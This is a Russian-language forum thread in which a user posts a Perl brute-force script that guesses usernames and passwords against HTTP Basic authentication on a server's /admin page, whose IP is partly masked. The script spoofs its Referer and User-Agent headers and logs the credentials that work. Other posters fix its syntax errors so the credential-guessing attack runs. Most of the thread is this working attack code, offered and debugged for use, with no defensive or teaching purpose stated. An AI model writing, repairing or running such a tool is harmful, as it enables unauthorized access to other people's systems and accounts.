вобщем попытался написать небольшой перловый брут форс для веб формы.Вроде бы всё нормально но при канпеляции выдаёт : Code: C:\Documents and Settings\Паныч>perl brut.pl [COLOR=DarkRed]syntax error at brut.pl line 13, near "=;" syntax error at brut.pl line 17, near "=;"[/COLOR] Execution of brut.pl aborted due to compilation errors. что не так в синтаксисе? Code: #!/usr/bin/perl use MIME::Base64; use IO::Socket; use POSIX; $server="***.***.60.23"; $port="80"; $dir="/admin"; $logfile="sucess.log"; $log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту) $words="bigdict.txt"; $users="users.txt"; open(file, "<$words") or die print "$!\n"; [COLOR=Red]@pwd_data=; [/COLOR] $total=@pwd_data; close file; ### Записываем все пароли в один массив open(file, "<$users") or die print "$!\n"; [COLOR=Red]@users_data=; [/COLOR] $total*=@users_data; close file; ### Записываем всех пользователей в один массив $i=0; foreach $user (@users_data) { foreach $pass (@pwd_data) { $i++; chomp($pass); chomp($user); open(file, ">$log") or die print "$!\n"; $perc=($i*100)/$total; $perc=ceil($perc); ### Высчитываем процент print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус close file; $auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш chomp($auth); ### Порождаем сокет $socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM) or die print "Unable to connect to $server:$port\n"; print $socket "GET $dir HTTP/1.1\n"; print $socket "Host: $server\n"; print $socket "Accept: */*\n"; print $socket "Referer: http://support.microsoft.com/\n"; print $socket "User-Agent: Internet Explorer 6.0\n"; print $socket "Pragma: no-cache\n"; print $socket "Cache-Control: no-cache\n"; print $socket "Authorization: Basic $auth\n"; print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш $ans=<$socket>; ### Получаем ответ от сервера if ($ans=~/200 Ok/i or $ans=~/301/i) { open(logf, ">>$logfile") or die print "$!\n"; ### пишем в success-лог print logf "$user:$pass is OK!!!\n"; close logf; } close($socket); } } _____________________________________________ maby yes or maby not, а мне по*** я .:ЕноТ:.
@pwd_data=(); @users_data=(); Наверное, все таки, так =)))) Получалось так, что ты приравниваещь к чему-то, а к чему непонятно(точнее к ; ) =)) ЗЫЖ Можно просто my @pwd_data; и my @users_data; И совет небольшой: юзай в скриптах use warnings и use strict;
попробовал и те и другие операторы ... ниху* ... не реагирует вообще никак. разобрался в чём косяк, но тепер ьскрипт не брутит :\ создаёт 2 файла now и sucess пустые.Хотя в нау.тхт должен быть лог а там 100% Done 1 of 1 Now: :
Дык эт-та Code: open(file, "<$words") or die print "$!\n"; @pwd_data=; $total=@pwd_data; close file; ### Записываем все пароли в один массив open(file, "<$users") or die print "$!\n"; @users_data=; $total*=@users_data; close file; ### Записываем всех пользователей в один массив если массивы @pwd_data и @users_data предполагается заполнить данными из файлов (соответственно, пароли и список возможных пользователей), то код такой должен быть Code: open(file, "<$words") or die print "$!\n"; @pwd_data=<file>; $total=@pwd_data; close file; ### Записываем все пароли в один массив open(file, "<$users") or die print "$!\n"; @users_data=<file>; $total*=@users_data; close file; ### Записываем всех пользователей в один массив